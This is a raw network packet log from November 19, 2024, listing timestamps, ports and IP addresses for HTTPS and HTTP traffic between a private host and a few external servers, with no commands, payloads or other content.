Nov 19, 2024 18:00:09.664921045 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.666187048 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.667265892 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.667346954 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.667967081 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.672245979 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.716830969 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.755119085 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.758023024 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.762902975 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.763422966 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.763437986 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.763493061 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.763514042 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.765569925 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.765628099 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.770533085 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.849983931 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.853250980 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.853924036 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.857445955 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.858691931 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.859119892 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.863624096 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.863708019 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.863893032 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.863945007 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.866508007 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.867351055 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.871392012 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.912780046 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.950462103 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.952344894 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.954577923 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.954595089 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.954658031 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.954670906 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.954679012 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.956943035 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.957523108 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.957684040 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.961848974 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.962557077 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.963532925 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.963855028 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:09.963908911 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.965516090 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.967077017 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:09.971959114 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:10.051793098 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:10.053921938 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:10.057285070 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:10.057372093 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:10.058897972 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:10.058968067 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:10.059299946 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:10.060710907 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:10.065505981 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:10.067338943 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:10.067357063 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:10.067512989 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:10.069658041 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:10.069749117 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:10.074546099 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:10.100766897 CET	49677	80	192.168.2.8	192.229.211.108
Nov 19, 2024 18:00:10.154000044 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:10.156198978 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:10.156217098 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:10.156302929 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:10.156855106 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:10.158524990 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:10.158843040 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:10.163369894 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:10.165339947 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:10.165430069 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:10.165486097 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:10.167670965 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:10.167879105 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:10.173337936 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:10.252139091 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:10.255192041 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:10.255230904 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:10.255275965 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:10.273776054 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:10.273791075 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:10.273866892 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:10.583543062 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:10.583930969 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:10.588753939 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:10.611856937 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:10.643325090 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:10.648902893 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:10.652132034 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:10.677927017 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:10.704035044 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:10.704143047 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:10.736948967 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:10.743957043 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:10.744043112 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:10.780971050 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:10.790657997 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:10.801773071 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:10.822938919 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:10.823781967 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:10.827697039 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:10.827795982 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:10.832551956 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:10.893563032 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:10.910084009 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:10.914781094 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:10.919457912 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:10.919584990 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:10.922797918 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:10.922812939 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:10.922873974 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:10.944231033 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:10.956882000 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:10.959651947 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:10.961760044 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:10.990895987 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:10.996016979 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:11.009572983 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:11.048686981 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:11.048846006 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:11.057914972 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:11.057935953 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:11.058110952 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:11.065670013 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:11.077003002 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:11.077785969 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:11.077785969 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:11.082135916 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:11.083014011 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:11.135334015 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:11.167464018 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:11.168729067 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:11.168867111 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:11.172209978 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:11.172239065 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:11.172295094 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:11.174891949 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:11.174906969 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:11.174945116 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:11.174968958 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:11.175019979 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:11.175055027 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:11.176359892 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:11.214904070 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:11.219774008 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:11.235075951 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:11.255515099 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:11.263051987 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:11.263096094 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:11.263135910 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:11.263139963 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:11.263227940 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:11.272672892 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:11.283399105 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:11.288331032 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:11.629041910 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:11.629106998 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:11.629225969 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:11.629658937 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:11.629898071 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:11.629945993 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:11.630023003 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:11.630177975 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:11.630192995 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:11.630225897 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:11.630251884 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:11.630584955 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:11.630682945 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:11.641311884 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:11.641475916 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:11.642425060 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:11.642446995 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:11.642816067 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:11.646339893 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:11.647279978 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:11.689030886 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:11.738137007 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:11.741323948 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:11.751291037 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:11.751307964 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:11.751329899 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:11.751499891 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:11.754362106 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:11.804037094 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:11.824866056 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:11.866214991 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:12.125531912 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:12.128485918 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:00:12.128763914 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:00:13.147448063 CET	49673	443	192.168.2.8	23.206.229.226
Nov 19, 2024 18:00:13.491318941 CET	49672	443	192.168.2.8	23.206.229.226
Nov 19, 2024 18:00:17.959959030 CET	49676	443	192.168.2.8	52.182.143.211
Nov 19, 2024 18:00:19.559636116 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:19.564584017 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:19.564667940 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:19.564847946 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:19.570151091 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:20.287345886 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:20.287465096 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:20.358999968 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:20.363801956 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:20.600445032 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:20.600522041 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:20.613858938 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:20.618638992 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:20.725652933 CET	49677	80	192.168.2.8	192.229.211.108
Nov 19, 2024 18:00:21.006721973 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:21.006748915 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:21.006768942 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:21.006791115 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:21.006823063 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:21.006836891 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:21.006875038 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:21.008681059 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:21.017267942 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:21.240447044 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:21.240475893 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:21.240492105 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:21.240508080 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:21.240529060 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:21.240541935 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:21.240597963 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:21.240626097 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:21.240792036 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:21.240844011 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:21.331304073 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:21.331394911 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:21.332647085 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:21.337424040 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:21.560324907 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:21.560410023 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:21.578099012 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:21.578171015 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:21.583045006 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:21.583065987 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:21.583084106 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:21.583093882 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:21.583115101 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:21.583125114 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:21.583137035 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:22.492238045 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:22.492367029 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:22.743144035 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:22.747951031 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:22.756942034 CET	49673	443	192.168.2.8	23.206.229.226
Nov 19, 2024 18:00:22.968636036 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:22.968652010 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:22.968662024 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:22.968755960 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:22.968761921 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:22.968789101 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:22.968801022 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:22.968822956 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:22.968832016 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:22.968852043 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:22.968880892 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:22.969260931 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:22.969312906 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:22.969360113 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:22.969372034 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:22.969381094 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:22.969415903 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:22.969440937 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:22.969834089 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:22.969846010 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:22.969856977 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:22.969892025 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:22.969918013 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:23.097672939 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:23.097701073 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:23.097738981 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:23.097758055 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:23.098140955 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:23.098160982 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:23.098174095 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:23.098184109 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:23.098185062 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:23.098198891 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:23.098201036 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:23.098212957 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:23.098222971 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:23.098249912 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:23.098764896 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:23.098799944 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:23.098810911 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:23.098812103 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:23.098824024 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:23.098835945 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:23.098845959 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:23.098848104 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:23.099163055 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:23.099175930 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:23.099596024 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:23.099616051 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:23.099627018 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:23.099642038 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:23.099653006 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:23.099675894 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:23.099689960 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:23.099713087 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:23.099730968 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:23.099751949 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:23.100327015 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:23.100362062 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:23.100366116 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:23.100368977 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:23.100403070 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:23.100414038 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:23.100461006 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:23.100474119 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:23.100502968 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:23.100512981 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:23.100564957 CET	49672	443	192.168.2.8	23.206.229.226
Nov 19, 2024 18:00:23.227165937 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:23.227194071 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:23.227210999 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:23.227226973 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:23.227232933 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:23.227240086 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:23.227252960 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:23.227258921 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:23.227278948 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:23.227320910 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:23.227482080 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:23.227523088 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:23.227531910 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:23.227544069 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:23.227581024 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:23.227596045 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:23.227602959 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:23.227644920 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:23.227900028 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:23.227911949 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:23.227922916 CET	80	49705	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:23.227946997 CET	49705	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:23.227950096 CET	80	49705	185.215.113.206	192.168.2.8
